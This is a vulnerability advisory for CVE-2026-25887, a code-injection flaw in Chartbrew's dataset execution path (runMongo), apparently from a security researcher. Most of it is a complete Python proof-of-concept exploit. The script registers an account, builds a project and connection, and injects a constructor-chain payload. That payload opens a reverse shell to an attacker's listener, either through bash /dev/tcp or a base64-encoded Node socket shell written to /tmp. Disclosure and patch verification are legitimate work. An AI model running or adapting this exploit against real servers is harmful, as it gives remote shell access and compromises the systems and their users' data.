- CVE
- CVE-2026-25887
- Product
- Chartbrew
- Fixed in
- 4.8.1
The same Function() injection class as CVE-2026-25888, reached through a different sink: ConnectionController.runMongo(), invoked by creating a dataset and running it. This path opens a fresh connection per call, so there is no shared pool to warm.
Difference from the chart-test path
sink runMongo() (vs testMongoQuery)
trigger create + run a dataset (vs POST /chart/test)
connection mongoose.createConnection() fresh TCP per call
warmup none (always cold)
time ~30s to shell (full connect cost every call)Payload
The constructor chain is identical, but the command must launch asynchronously with exec(), not execSync(), so the spawned shell outlives the HTTP response:
constructor.constructor("return process")()
.mainModule.require("child_process")
.exec('bash -c "echo <b64>|base64 -d>/tmp/rev.js;node /tmp/rev.js"')Base64-wrapping the reverse shell avoids quote escaping through the JSON and Function() layers.
Exploit path
POST /user / GET /team / POST /project / POST /team/:id/connections
create a dataset with the payload as its query
run the dataset → runMongo() → shell ~30s laterFix
Same remediation as CVE-2026-25888: acorn AST validation in 4.8.1, security release 4.9.0.
PoC
Drives the dataset-execution path end-to-end and delivers a reverse shell via the async exec() payload:
#!/usr/bin/env python3
"""
CVE-2026-25887 — Chartbrew RCE via Dataset Query Execution
===========================================================
Authenticated code injection via Function() in ConnectionController.runMongo().
This is the SECOND RCE path — through dataset execution rather than chart test.
Key differences from CVE-2026-25888 (revshell.py):
- Injection point: ConnectionController.runMongo() (not ChartController.testMongoQuery)
- Entry: Dataset quick-create + run (not chart test endpoint)
- Timing: ~30s per call (createConnection per request, no warmup possible)
- Single-shot: write + launch revshell in one exec() call
Usage:
nc -lvnp 9001
python3 revshell-25887.py http://TARGET:4019 LHOST LPORT [mongo-url] [--bash]
"""
import requests
import sys
import time
import base64
class ChartbrewDatasetExploit:
def __init__(self, api_url, mongo_url="mongodb://mongo:27017/test"):
self.api = api_url.rstrip("/")
self.mongo_url = mongo_url
self.token = None
self.team_id = None
self.project_id = None
self.connection_id = None
self.headers = {"Content-Type": "application/json"}
def _h(self):
return {**self.headers, "Authorization": f"Bearer {self.token}"}
def authenticate(self, email, password, name="researcher"):
r = requests.post(f"{self.api}/user", headers=self.headers, json={
"name": name, "email": email, "password": password
})
if r.status_code == 200 and r.json().get("token"):
self.token = r.json()["token"]
return True
r = requests.post(f"{self.api}/user/login", headers=self.headers, json={
"email": email, "password": password
})
if r.status_code == 200 and r.json().get("token"):
self.token = r.json()["token"]
return True
return False
def setup(self):
r = requests.get(f"{self.api}/team", headers=self._h())
self.team_id = r.json()[0]["id"]
r = requests.post(f"{self.api}/project", headers=self._h(), json={
"team_id": self.team_id, "name": "x"
})
self.project_id = r.json()["id"]
r = requests.post(
f"{self.api}/team/{self.team_id}/connections", headers=self._h(),
json={
"type": "mongodb", "name": "x",
"host": self.mongo_url, "dbName": "test",
"project_ids": [self.project_id], "team_id": self.team_id,
}
)
self.connection_id = r.json()["id"]
def fire(self, query):
"""Create a dataset with the payload and execute it. Single-shot."""
r = requests.post(
f"{self.api}/team/{self.team_id}/datasets/quick-create",
headers=self._h(),
json={
"team_id": self.team_id,
"project_ids": [self.project_id],
"legend": "x",
"dataRequests": [{"query": query, "connection_id": self.connection_id}],
}
)
dsid = r.json()["id"]
try:
requests.post(
f"{self.api}/team/{self.team_id}/datasets/{dsid}/request",
headers=self._h(), json={"getCache": False}, timeout=60,
)
except:
pass
def main():
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <target-api> <lhost> <lport> [mongo-url] [--bash]")
sys.exit(1)
args = [a for a in sys.argv[1:] if not a.startswith("--")]
use_bash = "--bash" in sys.argv
target = args[0]
lhost = args[1]
lport = int(args[2])
mongo = args[3] if len(args) > 3 else "mongodb://mongo:27017/test"
shell_type = "bash" if use_bash else "node"
print(f"CVE-2026-25887 — Chartbrew RCE via Dataset Execution ({shell_type})")
print(f"Target: {target}")
print(f"Callback: {lhost}:{lport}")
print(f"Mongo: {mongo}")
print("=" * 60)
exploit = ChartbrewDatasetExploit(target, mongo)
ts = int(time.time())
email = f"ds_{ts}@x.com"
print(f"[1] Registering as {email}...")
if not exploit.authenticate(email, "Spl1tD3c!sion"):
print("[-] Auth failed")
sys.exit(1)
print(" OK")
print("[2] Creating team/project/connection...")
exploit.setup()
print(f" Team={exploit.team_id} Project={exploit.project_id} Conn={exploit.connection_id}")
# Build one-shot payload: write revshell + launch, all in one exec() call
if use_bash:
revshell = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
b64 = base64.b64encode(revshell.encode()).decode()
cmd = f'bash -c "echo {b64}|base64 -d|bash"'
else:
node_code = (
f"var n=require('net'),s=new n.Socket();"
f"s.connect({lport},'{lhost}',function(){{"
f"var p=require('child_process').spawn('/bin/bash',['-i']);"
f"s.pipe(p.stdin);p.stdout.pipe(s);p.stderr.pipe(s);"
f"}});"
)
b64 = base64.b64encode(node_code.encode()).decode()
cmd = f'bash -c "echo {b64}|base64 -d>/tmp/r87.js;node /tmp/r87.js"'
payload = (
"constructor.constructor(\"return process\")()"
".mainModule.require(\"child_process\")"
f".exec('{cmd}')"
)
print(f"\n[3] Firing payload (~30s, fresh mongoose connection per call)...")
print(f" Make sure your listener is running: nc -lvnp {lport}")
print()
exploit.fire(payload)
print("[*] Payload delivered. Check your listener.")
if __name__ == "__main__":
main()